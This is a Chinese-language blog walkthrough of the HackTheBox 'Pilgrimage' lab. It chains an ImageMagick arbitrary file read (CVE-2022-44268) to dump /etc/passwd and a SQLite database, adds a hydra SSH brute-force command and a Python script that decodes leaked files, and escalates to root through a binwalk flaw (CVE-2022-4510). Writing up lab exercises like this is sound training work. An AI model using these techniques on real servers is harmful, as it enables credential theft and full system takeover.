Pilgrimage - HackTheBox

Noob 的 HackTheBox 之旅

环境

VPS:43.134.44.115

Mac:localhost

Burpsuite

端口转发

  1. VPS通过OpenVPN连接HacktheBox
  2. Mac通过端口转发将7080端口转发到VPS
    ssh -qTfnN -D 7080 user@43.134.44.115
  3. 浏览器通过Burpsuite 将数据代理到7080端口

这样就可以在本地的浏览器上通过Burpsuite流畅的测HacktheBox的靶机了

getShell过程

先体验一下功能,从PHPSESSID看后端语言应该是PHP

上传功能

试了一下就算上传PHP后缀也会被处理成jpeg文件

登录注册功能

目录扫描

发现git泄漏,使用GitHack下载项目代码

代码审计

打包代码下载到本地进行代码审计

tar -zcvf pilgrimage.zip pilgrimage.htb

登录和注册功能两个参数都使用了预编译,注入无望

上传功能这里使用了magick去处理图片,并且会将后缀名设置成jpeg和png。上传无望

imagemagick这东西之前有著名的RCE漏洞,而且git泄漏这里还有magick这个文件。这里会不会存在nday呢

通过执行命令查到版本号,我们可以去exploitdb查一下有没有可利用的nday

有个任意文件读取可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Exploit Title: ImageMagick  7.1.0-49 - Arbitrary File Read
# Google Dork: N/A
# Date: 06/02/2023
# Exploit Author: Cristian 'void' Giustini
# Vendor Homepage: https://imagemagick.org/
# Software Link: https://imagemagick.org/
# Version: <= 7.1.0-49
# Tested on: 7.1.0-49 and 6.9.11-60
# CVE : CVE-2022-44268 (CVE Owner: Metabase Q Team
https://www.metabaseq.com/imagemagick-zero-days/)
# Exploit pre-requirements: Rust


# PoC : https://github.com/voidz0r/CVE-2022-44268

CVE-2022-44268

研究下POC的用法:

先通过项目给的工具指定要读取的文件,然后将生成image.png交给imageMagick处理,这一步交给存在漏洞的Web服务器去触发漏洞读取指定文件,然后将图片下载回来使用identify输出读取到的文件内容

identify -verbose oout.png

输出读取到的内容

这里就获取到了 /etc/passwd 文件内容

只有emily和root用户是可以登录到bash的

这里想到尝试一下爆破,直接爆破root应该不可能,但可以试一下emily

1
hydra -l emily -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-10000.txt ssh://10.10.11.219 -t 4

然后发现好像不太适合,爆破速度特别慢。想了一下公共靶机应该也不希望用户一起爆破

那还是回到任意文件读取这个漏洞吧

写个脚本简化流程,研究了一下identify命令。如果只需要Raw profile type部分的内容,需要执行:

identify -format "%[Raw profile type]" -verbose oout.png

链接:https://www.imagemagick.org/script/escape.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import sys
import requests
import subprocess

def run_identify(image_path):
command = ['identify', '-format', '%[Raw profile type]', '-verbose', image_path]

try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, universal_newlines=True)
#这里[10:-8]是为了除去1473和verbose等无效数据
print(bytes.fromhex(output[10:]))

except subprocess.CalledProcessError as e:
print(e.output)

def download_image(url, path):
try:
response = requests.get(url)
response.raise_for_status()
with open(path, 'wb') as file:
file.write(response.content)
print('图片下载成功')
except requests.exceptions.RequestException as e:
print('图片下载失败:', str(e))



if len(sys.argv) < 2:
print('请提供图片路径作为参数')
else:
image_path = sys.argv[1]
url = sys.argv[2]
download_image(url, image_path)
run_identify(image_path)

但这里又不知道应该读哪些文件好了,想了挺久会想起Web服务用的是sqlite的数据库。我们可以把sqlite数据库文件读取,看看数据里面能不能发现什么

下载数据库文件

用命令将文件保存后处理一下,主要是删除无用字符(b’)

1
2
3
4
5
6
7
python identify.py out.png http://pilgrimage.htb/shrunk/64b1faf7e3216.png > sqli.db
# 从16进制转为二进制文件
cat sqli.db | xxd -r -p > sqlite.db

-r 表示要进行逆向转换,从十六进制转换为二进制
-p 表示输入的十六进制数据是连续的,没有空格或其他字符分隔

学习一下sqlite命令:https://www.runoob.com/sqlite/sqlite-commands.html

从数据库中可以查到用户emily和密码,emily之前在 /etc/passwd文件里见到过了,我直接ssh

登录成功,是个普通用户,拿到了user.txt 中的user flag。下一步提权

提权

内核很新,sudo和SUID也没发现可利用的

直接上提权脚本看看,先看看查CVE的linux-exploit-suggester。对比一下内核版本,没一个靠谱的…

再看看PEASS,这个脚本集成了非常多Linux提权脚本

在观察进程的时候发现root运行了malwarescan.sh脚本

看看脚本里都是什么内容:

通过inotifywait创建了一个关于/var/www/pilgrimage.htb/shrunk/ 的监控,使用binwalk提取文件内容。看起来像是个简单的WAF,不允许文件内存在blacklist中的字符串

binwalk也有个著名的RCE漏洞(CVE-2022-4510),看看版本正好可以使用,美滋滋

输入参数运行脚本,就会生成binwalk_exploit.png,再上传到var/www/pilgrimage.htb/shrunk/目录让root运行binwalk触发即可

拿下!从Noob进化成Script Kiddie


Pilgrimage - HackTheBox
http://aurey7.github.io.git/2023/07/15/Pilgrimage-HackTheBox/
作者
Aurey7
发布于
2023年7月15日
许可协议